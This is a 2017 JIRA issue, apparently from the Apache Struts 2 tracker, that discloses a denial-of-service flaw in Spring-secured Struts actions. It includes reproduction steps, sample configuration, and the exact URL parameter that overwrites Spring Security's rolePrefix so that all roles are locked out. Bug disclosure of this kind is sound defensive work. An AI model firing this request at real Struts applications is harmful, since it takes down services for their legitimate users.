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From "Yasser Zamani (JIRA)" <>
Subject [jira] [Created] (WW-4805) At least a DoS attack is available for Spring secured actions
Date Sat, 17 Jun 2017 02:24:00 GMT
Yasser Zamani created WW-4805:

             Summary: At least a DoS attack is available for Spring secured actions
                 Key: WW-4805
             Project: Struts 2
          Issue Type: Improvement
          Components: Core, Plugin - Spring
    Affects Versions: 2.5.10, 2.3.32
            Reporter: Yasser Zamani
             Fix For: 2.3.33,

This is a DoS attack example when Struts2 user uses Spring to secure his actions, like mentioned
at section `Initializing Actions from Spring` of

Attack Steps:
1. An anonymous user logins as an authenticated user.
2. Then tries http://{ip}:{port}/{action0-actionN}?advisors[{0-n}].advice.accessDecisionManager.decisionVoters[{0-n}].rolePrefix=breakit
where {action0-actionN} are actions available for users

Attack Impacts:
By replacing `rolePrefix`, attacker blocks access to secured actions for all defined roles
even if they authenticate via login! so services are down and webapp restart is required to
back to normal!!!

Configuration Example:
1. spring-security.xml
    <global-method-security secured-annotations="enabled" proxy-target-class = "true" />
    <http auto-config="true" use-expressions="false">
        <intercept-url pattern="/**" access="IS_AUTHENTICATED_ANONYMOUSLY" />
    <authentication-manager erase-credentials="false">
                <user name="admin" password="admin" authorities="ROLE_ADMIN" />
                <user name="user" password="user" authorities="ROLE_USER" />

2. applicationContext.xml
<bean id="secureAction" class="me.zamani.yasser.ww_convention.actions.SecureAction"/>

3. struts.xml

        <action name="admin" class="secureAction" method="admin">
            <result name="success" type="json" />
        <action name="user" class="secureAction" method="user">
            <result name="success" type="json" />

package me.zamani.yasser.ww_convention.actions;

public class SecureAction {

    public String admin() {
        return "success";
    public String user() {
        return "success";

5. login via http://{ip}:{port}/login as user.

6. open http://{ip}:{port}/user?advisors[0].advice.accessDecisionManager.decisionVoters[0].rolePrefix=breakit

7. in another browser, login via http://{ip}:{port}/login as admin.

8. try to access http://{ip}:{port}/admin which fails!

9. also repeat 5 and try open http://{ip}:{port}/user which also fails!

10. Services are down and webapp restart is required to back to normal.

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